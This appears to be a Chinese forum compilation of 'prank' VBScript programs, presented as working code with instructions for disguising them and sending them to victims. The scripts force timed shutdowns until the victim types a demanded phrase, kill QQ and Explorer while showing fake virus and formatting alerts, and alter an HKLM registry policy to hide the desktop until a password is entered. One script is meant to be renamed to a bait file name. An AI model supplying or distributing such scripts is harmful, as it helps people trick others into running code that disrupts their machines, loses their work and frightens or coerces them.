整蠱編程
Ⅰ 手機QQ的整人代碼大全
第一步，將以下代碼復制到記事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快說潮流哥特，不說就30秒關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("說潮流哥特,不然就不關機，快撒，說 ""潮流哥特"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以隨便改，不印象效果。如果發給MM，你可以逼她說「我愛你」。方法是把上面的「QQ客是好網站」改成「快說我愛你」 內容來自
第二步，將記事本文件重命名為 ***.VBE（文件名可以任意起，如「美女.VBE」）
如果誰運行了這個QQ炸彈，在30秒後會自動關機。
下面說一下使用方法：
最簡單的使用方法是，你直接發給好友，讓他運行，然後他就中招了。
WScript.Echo("誰令你打開這個軟體的")
WScript.Echo("這個軟體會讓你無聊啊！")
WScript.Echo("推薦你來的肯定是個壞蛋！")
WScript.Echo("歡迎來到被整軟體站！")
WScript.Echo("是誰設計的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要點30次確定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
Ⅱ 求一些好玩的整人代碼~~
gsh=msgbox ("已經准備好格式化，准備開始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "開始格式化…… 哈哈！嚇暈了吧，騙你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows發現一重要更新，將自動下載。"
wscript.sleep 3000
msgbox "系統檢測到WINDOWS更新中捆綁有不明插件SXS.exe,是否對其掃描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"發行者 田間的菜鳥 "+chr(13)+"安全評級 高危"+chr(13)+"建議 直接刪除"+chr(13)+"病毒類型：木馬",,"windows掃描附件"
msgbox "是否阻止其安裝？",vbyesno
wscript.sleep 3000
msgbox "阻止失敗！請檢查防火牆是否開啟！"
wscript.sleep 5000
msgbox "正在嘗試強行刪除…"
wscript.sleep 5000
msgbox "失敗！"
wscript.sleep 5000
msgbox "您的電腦已陷入危險之中，請趕快掃描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高興見到你！"
wscript.sleep 3000
msgbox "您的電腦可能已經感染病毒！",,"WINDOWS防火牆警告"
wscript.sleep 3000
msgbox "我控制你的電腦了！"
wscript.sleep 3000
msgbox "不信？那我給你關機看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "幫你解除關機……"
s.run "shutdown -a"
msgbox "再給你打開記事本寫封信，勸你最好別動，要不然會引起系統混亂~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：剛才的「病毒」是假的，只不過是嚇你玩玩~"
s.run "explorer"
」
Ⅲ win7旗艦版 64位系統，有什麼方法玩整蠱鄰居！！！！
編程病毒！用VC+++
但是太坑爹了！
你的問題.................................
Ⅳ 求一段電腦整蠱代碼
set ws = wscript.createobject("wscript.shell")
if msgbox("純屬娛樂!just for fun!",4132,"絕對無毒無害!你准備好了嗎?")=vbyes then
msgbox"OK!"
else
ws.popup"那也沒辦法!接招吧!",3
ws.popup"等會的解除密碼在網盤里，自己下載,祝你愉快!",3
end if
ws.run" http://alone.ys168.com"
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
do
a=inputbox("請輸入密碼解除","注意,重啟電腦是沒有用的!")
if a="我真笨啊" then
msgbox"密碼正確!",vbinformation
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide
wscript.sleep 2000
ws.run "explorer.exe",vbhide
msgbox"解除成功!"
exit do
else
msgbox"看你不下載，密碼錯誤!請重試 !"
end if
loop